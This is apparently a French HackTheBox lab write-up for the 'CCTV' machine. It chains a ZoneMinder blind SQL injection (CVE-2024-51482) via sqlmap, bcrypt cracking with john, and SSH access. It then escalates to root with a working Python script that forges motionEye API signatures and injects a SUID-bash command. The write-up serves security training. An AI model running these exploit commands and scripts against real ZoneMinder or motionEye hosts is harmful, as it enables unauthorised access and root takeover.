Post

HackTheBox - CCTV

Write-up de la machine CCTV — SQLi blind sur ZoneMinder, crackage de hash bcrypt, puis RCE root via l'API motionEye en forgeant une signature HMAC-SHA1 sans connaître le mot de passe en clair

HackTheBox - CCTV

Informations sur la machine

PropriétéValeur
OSLinux
DifficultéEasy
IP10.129.1.209
Domainecctv.htb

Outils utilisés

OutilRôle
nmapScan de ports et détection de services
sqlmapExploitation de la SQLi blind sur ZoneMinder
johnCrackage des hashes bcrypt
python3Forge de signature SHA1 pour l’API motionEye
curlInteractions avec l’API motion webcontrol

Reconnaissance

Scan initial

1
nmap -sC -sV 10.129.1.209

Deux ports ouverts : 22 (SSH OpenSSH 9.6p1) et 80 (Apache 2.4.58).

Enumération web

L’application sur le port 80 est ZoneMinder v1.37.63, accessible via /zm/?view=login. Les identifiants par défaut admin:admin fonctionnent.


Foothold — SQLi blind sur ZoneMinder

Découverte de la vulnérabilité

ZoneMinder 1.37.63 est vulnérable à CVE-2024-51482 — une injection SQL booléenne/temporelle dans le paramètre tid de l’endpoint de suppression de tags.

Endpoint vulnérable :

1
GET /zm/index.php?view=request&request=event&action=removetag&tid=1

Exploitation avec sqlmap

1
2
3
4
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
  --cookie="ZMSESSID=<cookie>" \
  --batch --no-cast --threads=1 \
  -D zm -T Users -C Username,Password --dump

sqlmap détecte uniquement une injection time-based blind (SLEEP). L’extraction prend quelques minutes et retourne trois utilisateurs :

UsernamePassword Hash
admin$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

Crackage des hashes bcrypt

Les hashes sont en bcrypt ($2y$10$). On teste d’abord admin:admin via python pour confirmer le mécanisme, puis on passe john sur rockyou :

1
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
1
2
admin        (admin)
opensesame   (mark)

Le hash de superadmin ne se trouve pas dans rockyou.

Accès SSH

1
ssh mark@cctv.htb  # mot de passe : opensesame

Shell obtenu en tant que mark (uid=1000). Le répertoire /home/sa_mark existe mais est inaccessible.


Privilege Escalation — RCE via l’API motionEye

Découverte des services internes

1
ss -tlnp

Plusieurs services écoutent en loopback. Le plus intéressant : motionEye sur 127.0.0.1:8765.

Analyse de motionEye

La version installée est motionEye v0.43.1b4. Les fichiers de configuration sont lisibles par mark :

1
cat /etc/motioneye/motion.conf
1
2
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

Le hash est un SHA1 (sha1(mot_de_passe)). Il n’est pas dans rockyou — mais ce n’est pas nécessaire.

Analyse du mécanisme d’authentification

L’examen du code source de motionEye révèle quelque chose de crucial :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# handlers/base.py
admin_hash = hashlib.sha1(
    main_config['@admin_password'].encode('utf-8')
).hexdigest()

if username == admin_username and (
    signature == utils.compute_signature(
        self.request.method, self.request.uri, self.request.body, admin_password
    )
    or signature == utils.compute_signature(
        self.request.method, self.request.uri, self.request.body, admin_hash  # ← accepte aussi le hash !
    )
):
    return 'admin'

Le serveur accepte une signature calculée soit avec le mot de passe en clair, soit avec son hash SHA1. On possède déjà le hash — on peut donc forger des requêtes authentifiées sans jamais connaître le mot de passe en clair.

La fonction compute_signature :

1
2
3
4
5
6
7
# utils/__init__.py
def compute_signature(method, path, body, key):
    # ... normalisation du path et du body ...
    path = _SIGNATURE_REGEX.sub('-', path)
    body = _SIGNATURE_REGEX.sub('-', body) if body else ''
    key = _SIGNATURE_REGEX.sub('-', key)
    return hashlib.sha1(f"{method}:{path}:{body}:{key}".encode()).hexdigest()

Service motionEye tourne en root

1
cat /etc/systemd/system/motioneye.service
1
2
3
[Service]
User=root
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf

Toute commande exécutée via l’API sera lancée en tant que root.

Étape 1 — Forge de signature et récupération de la config

On implémente compute_signature localement avec le hash SHA1 récupéré :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cat > /tmp/getconfig.py << 'EOF'
import hashlib, urllib.parse, re, urllib.request

_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]":, -]')
admin_hash = "989c5a8ee87a0e9521ec81a79187d162109282f0"

def compute_signature(method, path, body, key):
    parts = list(urllib.parse.urlsplit(path))
    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
    query.sort(key=lambda q: q[0])
    query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
    query = '&'.join([(q[0] + '=' + q[1]) for q in query])
    parts[0] = parts[1] = ''
    parts[3] = query
    path = urllib.parse.urlunsplit(parts)
    path = _SIGNATURE_REGEX.sub('-', path)
    body = _SIGNATURE_REGEX.sub('-', body) if body else ''
    key = _SIGNATURE_REGEX.sub('-', key)
    return hashlib.sha1(f"{method}:{path}:{body}:{key}".encode()).hexdigest()

path = "/config/1/get?_username=admin"
sig = compute_signature("GET", path, "", admin_hash)
url = f"http://127.0.0.1:8765{path}&_signature={sig}"
resp = urllib.request.urlopen(url)
print(resp.read().decode())
EOF

python3 /tmp/getconfig.py

La réponse confirme l’accès admin à l’API.

Étape 2 — Injection d’une commande via command_notifications

L’analyse du code (config.py ligne 1224) révèle que le champ command_notifications_exec est injecté directement dans on_event_start de motion. On envoie la config complète de la caméra avec les champs modifiés :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
cat > /tmp/pwn.py << 'EOF'
import hashlib, urllib.parse, re, urllib.request, json

_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]":, -]')
admin_hash = "989c5a8ee87a0e9521ec81a79187d162109282f0"

def compute_signature(method, path, body, key):
    parts = list(urllib.parse.urlsplit(path))
    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
    query.sort(key=lambda q: q[0])
    query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
    query = '&'.join([(q[0] + '=' + q[1]) for q in query])
    parts[0] = parts[1] = ''
    parts[3] = query
    path = urllib.parse.urlunsplit(parts)
    path = _SIGNATURE_REGEX.sub('-', path)
    body = _SIGNATURE_REGEX.sub('-', body) if body else ''
    key = _SIGNATURE_REGEX.sub('-', key)
    return hashlib.sha1(f"{method}:{path}:{body}:{key}".encode()).hexdigest()

# Récupère la config complète (nécessaire — motion_camera_ui_to_dict attend tous les champs)
path = "/config/1/get?_username=admin"
sig = compute_signature("GET", path, "", admin_hash)
data = json.loads(urllib.request.urlopen(f"http://127.0.0.1:8765{path}&_signature={sig}").read())

# Injecte la commande
data["command_notifications_enabled"] = True
data["command_notifications_exec"] = "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"

body = json.dumps(data)
path = "/config/1/set?_username=admin"
sig = compute_signature("POST", path, body, admin_hash)
url = f"http://127.0.0.1:8765{path}&_signature={sig}"

req = urllib.request.Request(url, data=body.encode(), headers={"Content-Type": "application/json"}, method="POST")
print(urllib.request.urlopen(req).read().decode())
EOF

python3 /tmp/pwn.py
# {"reload": false, "reboot": false, "error": null}

La commande est maintenant dans /etc/motioneye/camera-1.conf sous on_event_start.

Étape 3 — Déclenchement de l’event via le webcontrol motion

La caméra RTSP étant déconnectée (Connection refused), motion ne génère pas d’événement naturellement. On utilise directement le webcontrol HTTP de motion (port 7999) pour forcer un event :

1
2
3
curl -s "http://127.0.0.1:7999/1/action/eventstart"
# Start event for camera 1
# Done

Étape 4 — Shell root

1
2
3
4
5
6
7
sleep 3
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root 1446024 Mar  8 01:47 /tmp/rootbash

/tmp/rootbash -p
whoami
# root

Flags

1
2
cat /root/root.txt
cat /home/sa_mark/user.txt

Récapitulatif de la chaîne d’exploitation

1
2
3
4
5
6
7
8
9
10
11
12
ZoneMinder (default creds admin:admin)
  │
  └─ CVE-2024-51482 : SQLi blind time-based → dump zm.Users
      └─ hash bcrypt mark → john rockyou → opensesame
          └─ SSH mark@cctv.htb
              │
              └─ motionEye 0.43.1b4 sur 127.0.0.1:8765 (User=root)
                  ├─ /etc/motioneye/motion.conf → SHA1 hash admin_password
                  ├─ Code source : auth accepte sha1(password) → forge de signature sans crack
                  ├─ GET /config/1/get → config complète de la caméra
                  ├─ POST /config/1/set → command_notifications_exec injecté dans on_event_start
                  └─ curl http://127.0.0.1:7999/1/action/eventstart → exécution → SUID bash → root ✓

Ressources


Leçons apprises

  • Lire le code source avant de cracker — motionEye acceptait la signature calculée avec sha1(password) directement, ce qui rendait le crackage du hash inutile. Lire les handlers Python avant d’essayer 14M de mots de passe rockyou aurait économisé du temps
  • Envoyer la config complète sur les endpoints POSTmotion_camera_ui_to_dict valide tous les champs attendus. Un body partiel retourne 500 même si la signature est correcte
  • Le webcontrol HTTP de motion est distinct de l’API motionEye — les deux services tournent sur des ports différents et ont des rôles distincts. Quand la caméra est déconnectée et qu’aucun événement ne se déclenche naturellement, le webcontrol motion (/N/action/eventstart) permet de forcer l’exécution de on_event_start directement

Machine complétée

This post is licensed under CC BY 4.0 by the author.